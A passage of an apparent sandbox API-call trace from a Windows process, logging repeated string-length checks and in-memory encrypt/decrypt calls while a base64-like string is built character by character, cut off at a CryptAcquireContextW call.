(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0131.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0131.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0131.828] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0131.829] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.829] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0131.829] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0131.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0131.829] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.829] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0131.829] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0131.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0131.829] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.829] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0131.829] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0131.829] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0131.829] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.830] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0131.830] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.830] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0131.830] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0131.830] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.830] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0131.830] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.830] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0131.830] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0131.830] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.830] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0131.830] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.830] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0131.830] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0131.830] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.830] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0131.831] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.831] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0131.831] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0131.831] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.831] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0131.831] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.831] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0131.831] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0131.831] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0131.831] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0131.831] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.831] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0131.831] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.831] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0131.831] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0131.831] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.832] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0131.832] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0131.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0131.832] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.832] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0131.832] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0131.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0131.832] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.832] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0131.832] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0131.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0131.832] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.832] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0131.833] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0131.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0131.833] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.833] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0131.833] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0131.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0131.833] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.833] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0131.833] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0131.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0131.833] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.833] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0131.833] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0131.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0131.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0131.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0131.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0131.834] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.834] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0131.834] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0131.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0131.834] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.834] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0131.834] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0131.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0131.834] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.835] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0131.835] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0131.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0131.835] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.835] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0131.835] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.943] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0131.943] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0131.943] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.943] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0131.943] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.943] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0131.943] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0131.943] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.944] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0131.944] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.944] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0131.944] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0131.944] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.944] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0131.944] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.944] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0131.944] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0131.944] SystemFunction041 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.944] SystemFunction040 (in: Memory=0x4383304, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383304) returned 0x0 [0131.944] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.944] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.944] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.945] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.945] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.945] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.945] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.945] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.945] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.945] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.945] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0131.946] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", 